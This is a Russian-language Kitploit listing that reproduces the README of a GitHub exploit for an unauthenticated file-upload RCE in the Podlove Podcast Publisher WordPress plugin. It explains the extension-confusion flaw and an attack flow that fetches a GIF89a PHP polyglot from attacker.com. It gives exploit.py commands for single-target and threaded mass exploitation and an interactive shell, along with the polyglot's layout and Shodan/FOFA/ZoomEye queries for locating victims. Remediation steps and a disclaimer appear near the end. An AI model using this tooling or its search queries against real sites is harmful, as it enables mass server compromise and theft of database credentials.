Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-13001 — Эксплойт для CVE-2026-13001: неаутентифицированное удалённое выполнение кода (RCE) в Podlove Podcast Publisher через путаницу расширений. Включает массовое сканирование, интерактивную оболочку и полиморфную полезную нагрузку GIF89a PHP. | Kitploit
Инструменты/GitHubGitHub/ghostpels/cve-2026-13001
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubghostpels/cve-2026-13001

CVE-2026-13001

Эксплойт для CVE-2026-13001: неаутентифицированное удалённое выполнение кода (RCE) в Podlove Podcast Publisher через путаницу расширений. Включает массовое сканирование, интерактивную оболочку и полиморфную полезную нагрузку GIF89a PHP.

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — Неаутентифицированное RCE через путаницу расширений

CVSS 9.8 (Critical) | Неаутентифицированная произвольная загрузка файлов, ведущая к удалённому выполнению кода


Обзор

Критическая уязвимость в WordPress-плагине Podlove Podcast Publisher (версии до 4.5.1 включительно), которая позволяет неаутентифицированным атакующим загружать произвольные PHP-файлы на сервер через функциональность кэша изображений, что приводит к удалённому выполнению кода (RCE).

Уязвимость использует расхождение между двумя внутренними функциями, которые по-разному разбирают расширения файлов:

ФункцияМетодВходные данные: payload.php?.gifРезультат
is_image()basename(), затем pathinfo()payload.php?.gif.gif (проходит проверку)
extract_file_extension()parse_url(), затем pathinfo()/payload.php.php (сохраняется на диск)

Детали уязвимости

ПолеЗначение
ID CVECVE-2026-13001
CVSS9.8 (Critical)
CWECWE-20 (Некорректная проверка входных данных)
ПлагинPodlove Podcast Publisher
ЗатронутоВерсии до 4.5.1 включительно
Исправлено4.5.2
ТипНеаутентифицированная произвольная загрузка файлов с переходом к RCE
ИсследовательTalal Nasraddeen (через Wordfence)
Опубликовано14 июля 2026 года

Анализ первопричины

Уязвимость существует потому, что две функции плагина Podlove разбирают один и тот же URL, но извлекают разные расширения файлов:

1. is_image() — Проверка (в lib/helper.php)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

Функция проверяет:

  • Проверку содержимого через exif_imagetype() — требуется корректный заголовок изображения (GIF89a)
  • Проверку типа файла WordPress через wp_check_filetype_and_ext()
  • Список запрещённых расширений (php, php3, php4, php5, phtml, phar и т. д.)

Поскольку basename() включает строку запроса, расширение выглядит как gif — его нет в списке запрещённых.

2. extract_file_extension() — Формирование имени файла (в lib/model/image.php)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

Файл сохраняется на диск с расширением .php.


Схема атаки

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

Установка

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Использование

Одиночная цель

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

Массовое сканирование

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

Интерактивный режим (прямой доступ к загруженному файлу)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

Режим отладки

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

Параметры

root@kitploit:~
-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

Полезная нагрузка: GIF89a PHP-полиглот

Файл shell_polyglot.gif.php — это полиглот, который является одновременно корректным GIF-изображением и PHP-кодом:

root@kitploit:~
GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

Важно: Полиглот должен размещаться как статический файл (например, Cloudflare R2, AWS S3, nginx без PHP). Если сервер хостинга обрабатывает PHP, код будет выполнен на сервере хостинга, а не доставлен целевому серверу в виде исходного содержимого.


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

Воздействие

Успешная эксплуатация приводит к удалённому выполнению кода от имени пользователя веб-сервера:

  • Извлечение учётных данных базы данных из wp-config.php
  • Доступ ко всем пользователям WordPress, записям и данным плагинов
  • Развёртывание механизмов постоянного доступа
  • Перемещение во внутренние сети
  • Полная компрометация сервера

Устранение уязвимости

  1. Обновите Podlove Podcast Publisher до версии 4.5.2 или более поздней
  2. Удалите содержимое каталога wp-content/cache/podlove/
  3. Проверьте сервер на наличие неизвестных PHP-файлов в каталогах кэша
  4. Отслеживайте журналы доступа на предмет подозрительных запросов podlove_image_cache_url

Связь с CVE-2025-10147

Эта уязвимость является обходом исправления для CVE-2025-10147 (Podlove <= 4.2.6).

АспектCVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)
ПервопричинаПолное отсутствие проверки типа файлаОбход проверки через путаницу расширений
МетодикаПрямая загрузка PHP-файлаGIF89a-полиглот + трюк со строкой запроса URL
Применённое исправлениеДобавлена is_image() со списком запрещённых расширенийИсправлена согласованность разбора расширений

Подробное сравнение см. в analysis/CVE_COMPARISON.md.


Ссылки

  • Консультация Wordfence
  • Коммит с исправлением на GitHub
  • Страница плагина WordPress
  • Запись NVD

Отказ от ответственности

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Этот инструмент предназначен для исследователей безопасности и специалистов по тестированию на проникновение, имеющих явное письменное разрешение на тестирование целевых систем. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут никакой ответственности за неправомерное использование данного инструмента.


Автор

ghostpel-sec — Исследования в области безопасности и разработка эксплойтов

Лицензия

Этот проект лицензирован в соответствии с ghostpel-sec Security Research License.

Скачать инструмент